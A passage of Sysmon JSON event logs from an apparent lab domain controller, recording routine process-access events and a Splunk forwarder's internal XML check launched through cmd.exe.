11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1971,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1972,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1973,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1974,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1975,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-0010BC070300}\r\nTargetProcessId: 3984\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-0010BC070300}","TargetProcessId":"3984","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1976,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.497\r\nProcessGuid: {90617006-3FE8-5F2D-0000-001089420300}\r\nProcessId: 3808\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nFileVersion: 8.0.2\r\nDescription: splunk Application\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal check-xml-files --answer-yes --no-prompt \r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3\r\nParentProcessGuid: {90617006-3FE8-5F2D-0000-0010DA410300}\r\nParentProcessId: 3984\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal check-xml-files --answer-yes --no-prompt 2>&1","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.497","ProcessGuid":"{90617006-3FE8-5F2D-0000-001089420300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","FileVersion":"8.0.2","Description":"splunk Application","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal check-xml-files --answer-yes --no-prompt ","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3","ParentProcessGuid":"{90617006-3FE8-5F2D-0000-0010DA410300}","ParentProcessId":"3984","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal check-xml-files --answer-yes --no-prompt 2>&1","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1977,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-0010BC070300}\r\nSourceProcessId: 3984\r\nSourceThreadId: 3816\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-3FE8-5F2D-0000-001089420300}\r\nTargetProcessId: 3808\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-0010BC070300}","SourceProcessId":"3984","SourceThreadId":"3816","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-3FE8-5F2D-0000-001089420300}","TargetProcessId":"3808","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1978,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE8-5F2D-0000-001089420300}\r\nTargetProcessId: 3808\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE8-5F2D-0000-001089420300}","TargetProcessId":"3808","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1979,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 